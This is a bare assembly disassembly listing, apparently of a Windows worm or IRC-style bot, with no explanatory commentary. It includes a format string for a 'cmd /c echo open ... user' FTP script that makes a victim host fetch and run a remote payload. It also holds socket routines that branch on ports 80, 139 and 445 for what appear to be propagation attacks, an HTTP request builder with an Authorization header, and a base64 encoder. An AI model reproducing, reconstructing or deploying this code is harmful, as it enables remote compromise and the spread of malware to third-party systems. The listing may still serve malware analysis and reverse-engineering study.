		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D019
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE40
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D019
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01D

loc_40D019:				; CODE XREF: sub_40CFDE+1Bj
					; sub_40CFDE+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D01D:				; CODE XREF: sub_40CFDE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF04
		add	esp, 0Ch
		leave
		retn
sub_40CFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D030	proc near		; CODE XREF: sub_40D07C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D030	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07C	proc near		; CODE XREF: sub_40D21E+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B3
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D030
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62E

loc_40D0BE:				; CODE XREF: sub_40D07C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DB
		mov	ebx, [ebp+10h]

loc_40D0CD:				; CODE XREF: sub_40D07C+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D7
		push	3
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------

loc_40D0D7:				; CODE XREF: sub_40D07C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E1
		push	2
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------

loc_40D0E1:				; CODE XREF: sub_40D07C+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EA
		push	1

loc_40D0E9:				; CODE XREF: sub_40D07C+59j
					; sub_40D07C+63j
		pop	ebx

loc_40D0EA:				; CODE XREF: sub_40D07C+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D129
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi

loc_40D129:				; CODE XREF: sub_40D07C+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D197
		add	[ebp-18h], eax

loc_40D17B:				; CODE XREF: sub_40D07C+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_431D9C[eax]
		push	eax
		push	1
		call	sub_40D4B0
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17B

loc_40D197:				; CODE XREF: sub_40D07C+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B5
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D509
		mov	[ebp-18h], edi

loc_40D1B5:				; CODE XREF: sub_40D07C+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1CF
		sub	esi, [ebp-1Ch]

loc_40D1C0:				; CODE XREF: sub_40D07C+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B0
		dec	esi
		jnz	short loc_40D1C0

loc_40D1CF:				; CODE XREF: sub_40D07C+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CD
		push	1
		pop	ebx

loc_40D1DB:				; CODE XREF: sub_40D07C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D560
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21E	proc near		; CODE XREF: ___:0040D41Bp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D158
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D268
		xor	bl, bl
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------

loc_40D268:				; CODE XREF: sub_40D21E+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D276
		mov	ecx, eax

loc_40D276:				; CODE XREF: sub_40D21E+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27E
		mov	eax, [ebp+18h]

loc_40D27E:				; CODE XREF: sub_40D21E+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		cmp	eax, esi
		jz	short loc_40D2A3
		xor	bl, bl
		jmp	short loc_40D2A5
; ---------------------------------------------------------------------------

loc_40D2A3:				; CODE XREF: sub_40D21E+7Fj
		mov	bl, 1

loc_40D2A5:				; CODE XREF: sub_40D21E+83j
		push	edi
		call	sub_41B0B1
		pop	ecx

loc_40D2AC:				; CODE XREF: sub_40D21E+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B3
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_431F48
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CACE0
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_431DE0
		push	eax
		call	sub_40CADA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D377
		xor	eax, eax
		jmp	loc_40D4A3
; ---------------------------------------------------------------------------

loc_40D377:				; CODE XREF: ___:0040D36Ej
		mov	[ebp-0Ch], esi

loc_40D37A:				; CODE XREF: ___:0040D47Aj
		test	esi, esi
		jnz	loc_40D480
		push	6
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D468
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CAFA4
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFE4
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45D
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D425
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6EF
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21E
		add	esp, 1Ch
		jmp	short loc_40D45A
; ---------------------------------------------------------------------------

loc_40D425:				; CODE XREF: ___:0040D3E3j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D43F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDE
		jmp	short loc_40D457
; ---------------------------------------------------------------------------

loc_40D43F:				; CODE XREF: ___:0040D42Fj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF04

loc_40D457:				; CODE XREF: ___:0040D43Dj
		add	esp, 0Ch

loc_40D45A:				; CODE XREF: ___:0040D423j
		movzx	esi, al

loc_40D45D:				; CODE XREF: ___:0040D3D6j
					; ___:0040D449j
		push	ebx
		call	dword_4CB03C
		test	esi, esi
		jnz	short loc_40D473

loc_40D468:				; CODE XREF: ___:0040D393j
		push	3E8h
		nop
		call	near ptr 2670535h

loc_40D473:				; CODE XREF: ___:0040D466j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37A

loc_40D480:				; CODE XREF: ___:0040D37Cj
		lea	ecx, [ebp-8]
		call	sub_40C8FF
		test	esi, esi
		jz	short loc_40D4A1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431448[eax]
		lea	eax, dword_431448[eax]

loc_40D4A1:				; CODE XREF: ___:0040D48Aj
		mov	eax, esi

loc_40D4A3:				; CODE XREF: ___:0040D372j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8

loc_40D4A8:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B3
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B0	proc near		; CODE XREF: sub_40D07C+110p
					; sub_40D07C+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CA
		call	sub_42669A

loc_40D4CA:				; CODE XREF: sub_40D4B0+13j
		test	ebx, ebx
		jbe	short loc_40D501
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D501
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D501:				; CODE XREF: sub_40D4B0+1Cj
					; sub_40D4B0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D509	proc near		; CODE XREF: sub_40D07C+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D523
		call	sub_42669A

loc_40D523:				; CODE XREF: sub_40D509+13j
		test	ebx, ebx
		jbe	short loc_40D558
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D558
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_40D558:				; CODE XREF: sub_40D509+1Cj
					; sub_40D509+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D560	proc near		; CODE XREF: sub_40D07C+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D578
		call	sub_426573

loc_40D578:				; CODE XREF: sub_40D560+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58A
		mov	esi, [ebp+arg_8]

loc_40D58A:				; CODE XREF: sub_40D560+25j
		cmp	edi, ebx
		jnz	short loc_40D5AC
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D724
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D724
		jmp	short loc_40D625
; ---------------------------------------------------------------------------

loc_40D5AC:				; CODE XREF: sub_40D560+2Cj
		test	esi, esi
		jbe	short loc_40D5EF
		cmp	esi, eax
		jnz	short loc_40D5EF
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C0
		mov	eax, offset dword_4276A8

loc_40D5C0:				; CODE XREF: sub_40D560+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5EF
		push	1
		mov	ecx, edi
		call	sub_40D6B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DB
		mov	eax, offset dword_4276A8

loc_40D5DB:				; CODE XREF: sub_40D560+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D625
; ---------------------------------------------------------------------------

loc_40D5EF:				; CODE XREF: sub_40D560+4Ej
					; sub_40D560+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D625
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D609
		mov	eax, offset dword_4276A8

loc_40D609:				; CODE XREF: sub_40D560+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0

loc_40D625:				; CODE XREF: sub_40D560+4Aj
					; sub_40D560+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D560	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62E	proc near		; CODE XREF: sub_40D07C+3Dp
					; sub_40D4B0+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D640
		call	sub_42669A

loc_40D640:				; CODE XREF: sub_40D62E+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D669
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D669
		cmp	al, 0FFh
		jz	short loc_40D669
		cmp	edi, edx
		jnz	short loc_40D6A4
		dec	al
		push	edx
		mov	[ecx-1], al

loc_40D65E:				; CODE XREF: sub_40D62E+47j
		mov	ecx, esi
		call	sub_40D6B3

loc_40D665:				; CODE XREF: sub_40D62E+4Bj
					; sub_40D62E+52j
		xor	al, al
		jmp	short loc_40D6AE
; ---------------------------------------------------------------------------

loc_40D669:				; CODE XREF: sub_40D62E+19j
					; sub_40D62E+20j ...
		cmp	edi, edx
		jnz	short loc_40D682
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D677
		push	1
		jmp	short loc_40D65E
; ---------------------------------------------------------------------------

loc_40D677:				; CODE XREF: sub_40D62E+43j
		cmp	ecx, edx
		jz	short loc_40D665
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D665
; ---------------------------------------------------------------------------

loc_40D682:				; CODE XREF: sub_40D62E+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D69F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D694
		cmp	eax, edi
		jnb	short loc_40D6AC

loc_40D694:				; CODE XREF: sub_40D62E+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		jmp	short loc_40D6A4
; ---------------------------------------------------------------------------

loc_40D69F:				; CODE XREF: sub_40D62E+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AC

loc_40D6A4:				; CODE XREF: sub_40D62E+28j
					; sub_40D62E+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78B

loc_40D6AC:				; CODE XREF: sub_40D62E+64j
					; sub_40D62E+74j
		mov	al, 1

loc_40D6AE:				; CODE XREF: sub_40D62E+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B3	proc near		; CODE XREF: sub_40D07C+1Fp
					; sub_40D07C+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6DF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6DF
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D8
		cmp	al, 0FFh
		jz	short loc_40D6D8
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6DF
; ---------------------------------------------------------------------------

loc_40D6D8:				; CODE XREF: sub_40D6B3+19j
					; sub_40D6B3+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx

loc_40D6DF:				; CODE XREF: sub_40D6B3+8j
					; sub_40D6B3+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6EF	proc near		; CODE XREF: ___:0040D40Fp
					; sub_40D848+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D71D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D71D:				; CODE XREF: sub_40D6EF+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D724	proc near		; CODE XREF: sub_40D560+39p
					; sub_40D560+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D737
		call	sub_426573

loc_40D737:				; CODE XREF: sub_40D724+Cj
		mov	ecx, edi
		call	sub_40D848
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74D
		mov	ebx, eax

loc_40D74D:				; CODE XREF: sub_40D724+25j
		test	ebx, ebx
		jbe	short loc_40D783
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D783
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0

loc_40D783:				; CODE XREF: sub_40D724+2Bj
					; sub_40D724+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78B	proc near		; CODE XREF: sub_40D62E+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B1
		mov	edi, [ebp+8]

loc_40D7B1:				; CODE XREF: sub_40D78B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BE
		xor	eax, eax

loc_40D7BE:				; CODE XREF: sub_40D78B+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7EF
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7D9
		xor	eax, eax

loc_40D7D9:				; CODE XREF: sub_40D78B+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7E9
		retn
; ---------------------------------------------------------------------------

loc_40D7E9:				; DATA XREF: sub_40D78B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]

loc_40D7EF:				; CODE XREF: sub_40D78B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80D
		cmp	eax, edi
		jbe	short loc_40D7FC
		mov	eax, edi

loc_40D7FC:				; CODE XREF: sub_40D78B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch

loc_40D80D:				; CODE XREF: sub_40D78B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82D
		mov	edi, ebx

loc_40D82D:				; CODE XREF: sub_40D78B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D848	proc near		; CODE XREF: sub_40D724+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D875
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D875
		cmp	al, 0FFh
		jz	short loc_40D875
		push	1
		call	sub_40D6B3
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6EF

loc_40D875:				; CODE XREF: sub_40D848+9j
					; sub_40D848+10j ...
		pop	edi
		pop	esi
		retn
sub_40D848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D878	proc near		; DATA XREF: ___:00429008o
		test	byte_4DB5C4, 1
		jnz	short loc_40D888
		or	byte_4DB5C4, 1

loc_40D888:				; CODE XREF: sub_40D878+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D878	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89A	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D89F	proc near
		mov	eax, dword_432200
		add	eax, 6
		mov	dword_4CDCC4, eax
		retn
sub_40D89F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AD	proc near		; CODE XREF: sub_40D8AD+D0p
					; ___:0040DE0Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C1
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C5
; ---------------------------------------------------------------------------

loc_40D8C1:				; CODE XREF: sub_40D8AD+Cj
		and	[ebp+arg_7], 0FEh

loc_40D8C5:				; CODE XREF: sub_40D8AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FB
; ---------------------------------------------------------------------------

loc_40D8E9:				; CODE XREF: sub_40D8AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1

loc_40D8FB:				; CODE XREF: sub_40D8AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D994
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_40D98B
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98B
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D987
		push	0
		sub	ebx, edi
